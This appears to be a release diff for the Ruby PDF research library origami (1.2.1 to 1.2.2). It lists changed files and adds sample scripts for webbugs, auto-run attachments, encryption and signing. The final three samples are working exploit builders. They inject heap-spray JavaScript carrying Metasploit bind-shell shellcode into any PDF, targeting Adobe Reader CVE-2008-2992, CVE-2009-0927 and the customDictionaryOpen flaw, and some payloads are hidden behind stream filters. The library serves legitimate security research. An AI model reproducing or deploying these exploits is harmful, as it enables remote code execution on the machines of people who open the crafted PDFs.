origami 1.2.1 → 1.2.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (121) hide show
  1. data/README +1 -1
  2. data/bin/gui/hexview.rb +1 -1
  3. data/bin/gui/menu.rb +4 -4
  4. data/bin/gui/textview.rb +6 -4
  5. data/bin/gui/treeview.rb +4 -4
  6. data/bin/gui/walker.rb +1 -1
  7. data/bin/pdf2graph +1 -1
  8. data/bin/pdf2pdfa +1 -1
  9. data/bin/pdf2ruby +1 -1
  10. data/bin/pdfcocoon +1 -1
  11. data/bin/pdfcop +1 -1
  12. data/bin/pdfdecompress +1 -1
  13. data/bin/pdfdecrypt +1 -1
  14. data/bin/pdfencrypt +1 -1
  15. data/bin/pdfextract +75 -14
  16. data/bin/pdfmetadata +1 -1
  17. data/bin/shell/.irbrc +1 -1
  18. data/{origami.rb → lib/origami.rb} +3 -3
  19. data/{origami → lib/origami}/3d.rb +0 -0
  20. data/{origami → lib/origami}/acroform.rb +2 -2
  21. data/{origami → lib/origami}/actions.rb +0 -0
  22. data/{origami → lib/origami}/annotations.rb +0 -0
  23. data/{origami → lib/origami}/array.rb +0 -0
  24. data/{origami → lib/origami}/boolean.rb +0 -0
  25. data/{origami → lib/origami}/catalog.rb +0 -0
  26. data/{origami → lib/origami}/destinations.rb +0 -0
  27. data/{origami → lib/origami}/dictionary.rb +0 -0
  28. data/{origami → lib/origami}/docmdp.rb +0 -0
  29. data/{origami → lib/origami}/encryption.rb +9 -7
  30. data/{origami → lib/origami}/export.rb +0 -0
  31. data/lib/origami/extensions/fdf.rb +257 -0
  32. data/{origami/adobe → lib/origami/extensions}/ppklite.rb +3 -1
  33. data/{origami → lib/origami}/file.rb +0 -0
  34. data/{origami → lib/origami}/filters.rb +0 -0
  35. data/{origami → lib/origami}/filters/ascii.rb +0 -0
  36. data/{origami → lib/origami}/filters/ccitt.rb +0 -1
  37. data/{origami → lib/origami}/filters/crypt.rb +0 -0
  38. data/{origami → lib/origami}/filters/dct.rb +0 -0
  39. data/{origami → lib/origami}/filters/flate.rb +0 -0
  40. data/{origami → lib/origami}/filters/jbig2.rb +0 -0
  41. data/{origami → lib/origami}/filters/jpx.rb +0 -0
  42. data/{origami → lib/origami}/filters/lzw.rb +0 -0
  43. data/{origami → lib/origami}/filters/predictors.rb +0 -0
  44. data/{origami → lib/origami}/filters/runlength.rb +0 -0
  45. data/{origami → lib/origami}/font.rb +0 -0
  46. data/{origami → lib/origami}/functions.rb +0 -0
  47. data/{origami → lib/origami}/graphics.rb +0 -0
  48. data/{origami → lib/origami}/graphics/colors.rb +45 -23
  49. data/{origami → lib/origami}/graphics/instruction.rb +0 -0
  50. data/{origami → lib/origami}/graphics/path.rb +0 -0
  51. data/{origami → lib/origami}/graphics/patterns.rb +0 -0
  52. data/{origami → lib/origami}/graphics/render.rb +0 -0
  53. data/{origami → lib/origami}/graphics/state.rb +2 -2
  54. data/{origami → lib/origami}/graphics/text.rb +0 -0
  55. data/{origami → lib/origami}/graphics/xobject.rb +219 -0
  56. data/{origami → lib/origami}/header.rb +0 -0
  57. data/{origami → lib/origami}/javascript.rb +0 -0
  58. data/{origami → lib/origami}/linearization.rb +0 -0
  59. data/{origami → lib/origami}/metadata.rb +0 -0
  60. data/{origami → lib/origami}/name.rb +0 -0
  61. data/{origami → lib/origami}/null.rb +0 -0
  62. data/{origami → lib/origami}/numeric.rb +0 -0
  63. data/{origami → lib/origami}/obfuscation.rb +0 -0
  64. data/{origami → lib/origami}/object.rb +7 -2
  65. data/{origami → lib/origami}/outline.rb +0 -0
  66. data/{origami → lib/origami}/outputintents.rb +0 -0
  67. data/{origami → lib/origami}/page.rb +0 -0
  68. data/{origami → lib/origami}/parser.rb +76 -51
  69. data/{origami → lib/origami}/parsers/fdf.rb +9 -6
  70. data/{origami/parsers/pdf/linear.rb → lib/origami/parsers/pdf.rb} +31 -39
  71. data/lib/origami/parsers/pdf/linear.rb +84 -0
  72. data/lib/origami/parsers/ppklite.rb +93 -0
  73. data/{origami → lib/origami}/pdf.rb +6 -3
  74. data/{origami → lib/origami}/reference.rb +0 -0
  75. data/{origami → lib/origami}/signature.rb +170 -19
  76. data/{origami → lib/origami}/stream.rb +9 -0
  77. data/{origami → lib/origami}/string.rb +0 -0
  78. data/{origami → lib/origami}/trailer.rb +0 -0
  79. data/{origami → lib/origami}/webcapture.rb +0 -0
  80. data/{origami → lib/origami}/xfa.rb +0 -0
  81. data/{origami → lib/origami}/xreftable.rb +3 -7
  82. data/samples/README.txt +45 -0
  83. data/samples/actions/launch/calc.rb +87 -0
  84. data/samples/actions/launch/winparams.rb +22 -0
  85. data/samples/actions/loop/loopgoto.rb +24 -0
  86. data/samples/actions/loop/loopnamed.rb +21 -0
  87. data/samples/actions/named/named.rb +31 -0
  88. data/samples/actions/samba/smbrelay.rb +26 -0
  89. data/samples/actions/triggerevents/trigger.rb +75 -0
  90. data/samples/actions/webbug/submitform.js +26 -0
  91. data/samples/actions/webbug/webbug-browser.rb +68 -0
  92. data/samples/actions/webbug/webbug-js.rb +67 -0
  93. data/samples/actions/webbug/webbug-reader.rb +90 -0
  94. data/samples/attachments/attach.rb +40 -0
  95. data/samples/attachments/attached.txt +1 -0
  96. data/samples/crypto/crypto.rb +28 -0
  97. data/samples/digsig/signed.rb +46 -0
  98. data/samples/exploits/cve-2008-2992-utilprintf.rb +87 -0
  99. data/samples/exploits/cve-2009-0927-geticon.rb +65 -0
  100. data/samples/exploits/exploit_customdictopen.rb +55 -0
  101. data/samples/exploits/getannots.rb +69 -0
  102. data/samples/flash/flash.rb +31 -0
  103. data/samples/flash/helloworld.swf +0 -0
  104. data/samples/javascript/attached.txt +1 -0
  105. data/samples/javascript/js.rb +52 -0
  106. data/{tests → test}/ts_pdf.rb +1 -1
  107. metadata +109 -95
  108. data/origami/adobe/fdf.rb +0 -259
  109. data/origami/parsers/pdf.rb +0 -27
  110. data/origami/parsers/ppklite.rb +0 -86
  111. data/tests/dataset/test.dummycrt +0 -28
  112. data/tests/dataset/test.dummykey +0 -27
  113. data/tests/tc_actions.rb +0 -32
  114. data/tests/tc_annotations.rb +0 -85
  115. data/tests/tc_pages.rb +0 -37
  116. data/tests/tc_pdfattach.rb +0 -24
  117. data/tests/tc_pdfencrypt.rb +0 -110
  118. data/tests/tc_pdfnew.rb +0 -32
  119. data/tests/tc_pdfparse.rb +0 -98
  120. data/tests/tc_pdfsig.rb +0 -37
  121. data/tests/tc_streams.rb +0 -129
@@ -0,0 +1,67 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "webbug-js.pdf"
13
+ JSCRIPTFILE = "submitform.js"
14
+
15
+ puts "Now generating a new PDF file from scratch!"
16
+
17
+ contents = ContentStream.new.setFilter(:FlateDecode)
18
+ contents.write OUTPUTFILE,
19
+ :x => 300, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
20
+
21
+ contents.write "This PDF tries to connect through JavaScript calls :-D",
22
+ :x => 186, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
23
+
24
+ contents.write "The script first tries to run your browser, then it connects with the Reader.",
25
+ :x => 186, :y => 670, :size => 15
26
+
27
+ contents.write "Comments:",
28
+ :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
29
+
30
+ content = <<-EOS
31
+ Windows:
32
+ - Acrobat Reader 8: Same behavior as with webbug-browser.pdf and webbug-reader.pdf.
33
+ - Foxit: Same behavior as with webbug-browser.pdf and webbug-reader.pdf, at the difference a popup appears
34
+ to ask for user confirmation before launching the browser. However the reader still connects to the site without
35
+ confirmation, as with webbug-reader.pdf
36
+
37
+ Mac:
38
+
39
+ Linux:
40
+ - Acrobat Reader 8: same behavior as Windows version.
41
+ - poppler-based viewers: not interpreting JavaScript : nothing happens.
42
+
43
+ EOS
44
+
45
+ contents.write content,
46
+ :x => 75, :y => 600, :rendering => Text::Rendering::FILL
47
+
48
+ # A JS script to execute at the opening of the document
49
+ jscript = File.open(JSCRIPTFILE).read
50
+
51
+ pdf = PDF.new
52
+
53
+ page = Page.new
54
+ page.Contents = contents
55
+
56
+ pdf.append_page(page)
57
+
58
+ # Create a new action based on the script, compressed with zlib
59
+ jsaction = Action::JavaScript.new( Stream.new(jscript,:Filter => :FlateDecode) )
60
+
61
+ # Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied).
62
+ pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction)
63
+
64
+ # Save the resulting file
65
+ pdf.save(OUTPUTFILE)
66
+
67
+ puts "PDF file saved as #{OUTPUTFILE}."
@@ -0,0 +1,90 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "webbug-reader.pdf"
13
+
14
+ URL = "http://localhost/webbug-reader.php"
15
+
16
+ puts "Now generating a new bugged PDF file from scratch!"
17
+
18
+ pdf = PDF.new
19
+
20
+ contents = ContentStream.new
21
+ contents.write "webbug-reader.pdf",
22
+ :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
23
+
24
+ contents.write "When opened, this PDF connects to \"home\"",
25
+ :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
26
+
27
+ contents.write "Click \"Allow\" to connect to #{URL} through your current Reader.",
28
+ :x => 156, :y => 670, :size => 12
29
+
30
+
31
+ contents.write "Comments:",
32
+ :x => 75, :y => 600, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
33
+
34
+
35
+ content = <<-EOS
36
+ 1. Open this pdf document (webbug-reader.pdf)
37
+ 2. The Reader connects to ${url}
38
+ 3. The web server returns the requested page:
39
+ <?php
40
+ header('Content-type: application/pdf');
41
+ readfile('calc.pdf');
42
+ ?>
43
+ 4. The Reader receives \"calc.pdf\" which is immediatly rendered
44
+ 5. A pop-up ask if it can execute the calc...
45
+
46
+ Note: The URL where the Reader tries to connect is displayed
47
+
48
+
49
+
50
+ Windows:
51
+ - Foxit : Nothing happens.
52
+ - Acrobat Reader 8: a popup appears for the user to allow the connection,
53
+ then the connection is made and a new window is opened with the 2nd document
54
+
55
+ Mac:
56
+ - Preview: nothing happens
57
+ - Acrobat Reader 8: a popup appears for the user to allow the connection,
58
+ then the connection is made and a new window is opened with the 2nd document
59
+
60
+ Linux:
61
+ - poppler: /SubmitForm is not supported
62
+ - Acrobat Reader 8: a popup appears for the user to allow the connection,
63
+ then the connection is made and a the document window is replaced with the 2nd document
64
+ Note: The 2 documents can be seen in the\"Window\" menu.
65
+ - Acrobat Reader 8: a popup appears for the user to allow the connection,
66
+ then the connection is made and a new window is opened with the 2nd document
67
+
68
+
69
+ EOS
70
+
71
+ contents.write content,
72
+ :x => 75, :y => 580, :rendering => Text::Rendering::FILL, :size => 12
73
+
74
+ page = Page.new.setContents( contents )
75
+ pdf.append_page( page )
76
+
77
+ # Submit flags.
78
+ flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD
79
+
80
+ # Sends the form at the document opening.
81
+ pdf.onDocumentOpen Action::SubmitForm.new(URL, [], flags)
82
+
83
+ # Comments:
84
+ # - any port can be specified http://url:1234
85
+ # - does not follow the Redirect answers
86
+
87
+ # Save the resulting file.
88
+ pdf.save(OUTPUTFILE)
89
+
90
+ puts "PDF file saved as #{OUTPUTFILE}."
@@ -0,0 +1,40 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ INPUTFILE = "attached.txt"
13
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
14
+
15
+ puts "Now generating a new PDF file from scratch!"
16
+
17
+ # Creating a new file
18
+ pdf = PDF.new
19
+
20
+ # Embedding the file into the PDF.
21
+ pdf.attach_file(INPUTFILE,
22
+ :EmbeddedName => "README.txt",
23
+ :Filter => :ASCIIHexDecode
24
+ )
25
+
26
+ contents = ContentStream.new
27
+ contents.write "File attachment sample",
28
+ :x => 250, :y => 750, :rendering => Text::Rendering::FILL, :size => 30
29
+
30
+ pdf.append_page Page.new.setContents(contents)
31
+
32
+ js = <<JS
33
+ this.exportDataObject({cName:"README.txt", nLaunch:2});
34
+ JS
35
+ pdf.onDocumentOpen Action::JavaScript.new(js)
36
+
37
+ pdf.save(OUTPUTFILE)
38
+
39
+ puts "PDF file saved as #{OUTPUTFILE}."
40
+
@@ -0,0 +1 @@
1
+ ***THIS IS THE EMBEDDED FILE***
@@ -0,0 +1,28 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ puts "Now generating a new PDF file from scratch!"
15
+
16
+ # Creates an encrypted document with AES256 and a null password.
17
+ pdf = PDF.new.encrypt(:cipher => 'aes', :key_size => 256)
18
+
19
+ contents = ContentStream.new
20
+ contents.write "Crypto sample",
21
+ :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
22
+
23
+ pdf.append_page Page.new.setContents(contents)
24
+
25
+ pdf.save(OUTPUTFILE)
26
+
27
+ puts "PDF file saved as #{OUTPUTFILE}."
28
+
@@ -0,0 +1,46 @@
1
+ #!/usr/bin/ruby
2
+
3
+ require 'openssl'
4
+
5
+ begin
6
+ require 'origami'
7
+ rescue LoadError
8
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
9
+ $: << ORIGAMIDIR
10
+ require 'origami'
11
+ end
12
+ include Origami
13
+
14
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
15
+ CERTFILE = "test.crt"
16
+ RSAKEYFILE = "test.key"
17
+
18
+ contents = ContentStream.new.setFilter(:FlateDecode)
19
+ contents.write OUTPUTFILE,
20
+ :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
21
+
22
+ pdf = PDF.new
23
+ page = Page.new.setContents(contents)
24
+ pdf.append_page(page)
25
+
26
+ # Open certificate files
27
+ cert = OpenSSL::X509::Certificate.new(File.open(CERTFILE).read)
28
+ key = OpenSSL::PKey::RSA.new(File.open(RSAKEYFILE).read)
29
+
30
+ sigannot = Annotation::Widget::Signature.new
31
+ sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0]
32
+
33
+ page.add_annot(sigannot)
34
+
35
+ # Sign the PDF with the specified keys
36
+ pdf.sign(cert, key,
37
+ :method => 'adbe.pkcs7.sha1',
38
+ :annotation => sigannot,
39
+ :location => "France",
40
+ :contact => "fred@security-labs.org",
41
+ :reason => "Proof of Concept"
42
+ )
43
+
44
+ # Save the resulting file
45
+ pdf.save(OUTPUTFILE)
46
+
@@ -0,0 +1,87 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read(ARGV[0])
13
+
14
+ # win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
15
+ win32_bin = "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73%u684f%u3956%u386f%u4350"
16
+
17
+
18
+ # linux/x86/shell_bind_tcp - 105 bytes
19
+ # http://www.metasploit.com
20
+ # Encoder: x86/shikata_ga_nai
21
+ # AppendExit=false, PrependSetresuid=false,
22
+ # PrependSetuid=false, LPORT=4444, RHOST=,
23
+ # PrependSetreuid=false
24
+ linux_bin = "%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd"
25
+
26
+ shellcode = linux_bin
27
+
28
+ jscript = %Q|
29
+ /*
30
+ From: http://www.milw0rm.com/exploits/7006
31
+
32
+ Adobe Reader Javascript Printf Buffer Overflow Exploit
33
+ ===========================================================
34
+ Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow
35
+ CVE-2008-2992
36
+
37
+ Thanks to coresecurity for the technical background.
38
+
39
+ 6Nov,2008: Exploit released by me
40
+
41
+ Credits: Debasis Mohanty
42
+ www.hackingspirits.com
43
+ www.coffeeandsecurity.com
44
+ ===========================================================
45
+
46
+ //Exploit by Debasis Mohanty (aka nopsledge/Tr0y)
47
+ //www.coffeeandsecurity
48
+ //www.hackingspirits.com
49
+ */
50
+
51
+ app.alert("Prepare the spray");
52
+
53
+ var shellcode = unescape("#{shellcode}");
54
+
55
+ //Heap Spray starts here - Kiddos dont mess up with this
56
+ var nop ="";
57
+ for (i = 128;i >= 0; --i) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
58
+ heapblock = nop + shellcode;
59
+
60
+ bigblock = unescape("%u9090%u9090");
61
+ headersize = 20;
62
+ spray = headersize+heapblock.length
63
+ while (bigblock.length<spray) bigblock+=bigblock;
64
+
65
+ fillblock = bigblock.substring(0, spray);
66
+ block = bigblock.substring(0, bigblock.length-spray);
67
+
68
+ while(block.length+spray < 0x40000) block = block+block+fillblock;
69
+
70
+ mem = new Array();
71
+ for (i=0;i<1400;i++) mem[i] = block + heapblock;
72
+
73
+ app.alert("Pull the trigger");
74
+
75
+ // reference snippet from core security
76
+ // http://www.coresecurity.com/content/adobe-reader-buffer-overflow
77
+
78
+ var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
79
+ util.printf("%45000f",num);
80
+ // util.printf("%45000.45000f", 0);
81
+
82
+ |
83
+
84
+ exploit = Action::JavaScript.new(Stream.new(jscript))
85
+ pdf.onDocumentOpen( exploit )
86
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
87
+
@@ -0,0 +1,65 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ #
4
+ # References:
5
+ # CVE 2009-0927
6
+ # http://www.securityfocus.com/bid/34169
7
+ # http://www.zerodayinitiative.com/advisories/ZDI-09-014/
8
+ #
9
+ #�Vulnerable: Adobe Reader and Adobe Acrobat Professional < 8.1.4
10
+ #
11
+ # This exploit / PoC spawns a calc on Windows.
12
+ #
13
+ #
14
+
15
+ begin
16
+ require 'origami'
17
+ rescue LoadError
18
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
19
+ $: << ORIGAMIDIR
20
+ require 'origami'
21
+ end
22
+ include Origami
23
+
24
+ pdf = PDF.read(ARGV[0])
25
+
26
+ jscript = %Q|
27
+ function spary() {
28
+ var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98\
29
+ bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0\
30
+ ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8\
31
+ c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
32
+
33
+ //shellcode = unescape("%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd");
34
+
35
+ garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
36
+ 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
37
+ 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
38
+ 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
39
+ 90%u9090%u9090%u9090") + shellcode;
40
+ nopblock = unescape("%u9090%u9090");
41
+ headersize = 10;
42
+ acl = headersize+garbage.length;
43
+ while (nopblock.length<acl) nopblock+=nopblock;
44
+ fillblock = nopblock.substring(0, acl);
45
+ block = nopblock.substring(0, nopblock.length-acl);
46
+ while(block.length+acl<0x40000) block = block+block+fillblock;
47
+ memory = new Array();
48
+ for (i=0;i<180;i++) memory[i] = block + garbage;
49
+ var buffersize = 4012;
50
+ var buffer = Array(buffersize);
51
+ for (i=0; i<buffersize; i++)
52
+ {
53
+ buffer[i] = unescape("%0a%0a%0a%0a");
54
+ }
55
+
56
+ Collab.getIcon(buffer+'_N.bundle');
57
+ }
58
+ spary();
59
+ |
60
+
61
+ exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
62
+ pdf.pages.first.onOpen( exploit )
63
+
64
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
65
+
@@ -0,0 +1,55 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read(ARGV[0])
13
+
14
+ jscript = %Q|
15
+ //##############
16
+ //Exploit made by Arr1val
17
+ //Proved in adobe 9.1 and adobe 8.1.4 on linux
18
+ //##############
19
+
20
+ app.alert('start heap spray...');
21
+
22
+ var memory;
23
+ var nop = unescape("%u9090%u9090");
24
+ var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
25
+
26
+ while(nop.length <= 0x10000/2) {
27
+ nop += nop;
28
+ }
29
+
30
+ nop = nop.substring(0,0x10000/2 - shellcode.length);
31
+
32
+ memory = new Array();
33
+ for (i=0; i<0x6ff0; i++) {
34
+ memory[i] = nop + shellcode;
35
+ }
36
+
37
+ //start exploit now
38
+ start();
39
+
40
+ function start()
41
+ {
42
+ this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141
43
+ }
44
+
45
+ //############################
46
+
47
+ //# milw0rm.com [2009-04-29]
48
+ |
49
+
50
+ #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
51
+ exploit = Action::JavaScript.new(Stream.new(jscript))
52
+ pdf.onDocumentOpen( exploit )
53
+
54
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
55
+